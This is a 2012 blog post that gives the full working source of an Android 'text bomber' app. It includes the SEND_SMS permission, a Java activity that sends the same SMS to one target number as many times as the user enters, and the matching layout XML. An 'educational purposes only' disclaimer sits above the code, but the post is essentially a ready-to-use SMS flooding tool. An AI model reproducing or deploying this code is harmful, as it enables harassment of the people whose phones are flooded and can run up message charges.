Jared Burrows Blog: Spam

Friday, April 27, 2012

Android - Text Bomber/Spammer

A Simple Text Spamming App

This is only for proof of concept, please only use for educational purposes only.

Make sure the app contains:

<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>

Java Code - SpamActivity.java

package com.spam;
import android.app.Activity;
import android.os.Bundle;
import android.telephony.gsm.SmsManager;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;

public class SpamActivity extends Activity {

 EditText phoneNum = null;
 EditText numTxt = null;
 EditText message = null;
 Button spam = null;
 Button finish = null;
 String theNumber = null;
 int theText = 0;
 String theMessage = null;
 SmsManager sms = null;

 public void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.main);                

  phoneNum = (EditText)findViewById(R.id.phoneNum);
  numTxt = (EditText)findViewById(R.id.numTxt);
  message = (EditText)findViewById(R.id.message);
  spam = (Button)findViewById(R.id.spam);
  finish = (Button)findViewById(R.id.finish);

  spam.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) { 
    theNumber = phoneNum.getText().toString();
    theMessage = message.getText().toString();  

    try {
     theText = Integer.parseInt(numTxt.getText().toString());
    } catch(NumberFormatException nfe) {
    } 
    if (theNumber != null && theMessage != null){
     for (int i = 0; i < theText; i++) {
      sendSMS(theNumber, theMessage);
     }
    }
   }
  });

  finish.setOnClickListener(new View.OnClickListener() {
   public void onClick(View v) {
    finish();
   }
  });

 }

 public void sendSMS(String phoneNumber, String message) {        
  //  PendingIntent pi = PendingIntent.getActivity(this, 0,
  //    new Intent(this, SpamActivity.class), 0);                
  SmsManager sms = SmsManager.getDefault();
  sms.sendTextMessage(phoneNumber, null, message, null, null);        
 }    

}

XML code - main.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:orientation="vertical" >

    <LinearLayout
        xmlns:android="http://schemas.android.com/apk/res/android"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:orientation="horizontal" >

        <EditText
            android:id="@+id/phoneNum"
            android:layout_width="fill_parent"
            android:layout_height="wrap_content"
            android:layout_weight="1"
            android:hint="Number"
            android:singleLine="true" />

        <EditText
            android:id="@+id/numTxt"
            android:layout_width="fill_parent"
            android:layout_height="wrap_content"
            android:layout_weight="3"
            android:hint="#"
            android:singleLine="true" />
    </LinearLayout>

    <LinearLayout
        xmlns:android="http://schemas.android.com/apk/res/android"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:orientation="vertical" >

        <EditText
            android:id="@+id/message"
            android:layout_width="fill_parent"
            android:layout_height="300px"
            android:layout_weight="3"
            android:gravity="top"
            android:hint="Message" />
    </LinearLayout>

    <LinearLayout
        xmlns:android="http://schemas.android.com/apk/res/android"
        android:layout_width="fill_parent"
        android:layout_height="fill_parent"
        android:orientation="horizontal" >

        <Button
            android:id="@+id/spam"
            android:layout_width="fill_parent"
            android:layout_height="fill_parent"
            android:layout_weight="1"
            android:hint="Spam" />

        <Button
            android:id="@+id/finish"
            android:layout_width="fill_parent"
            android:layout_height="fill_parent"
            android:layout_weight="1"
            android:hint="Exit" />
    </LinearLayout>

</LinearLayout>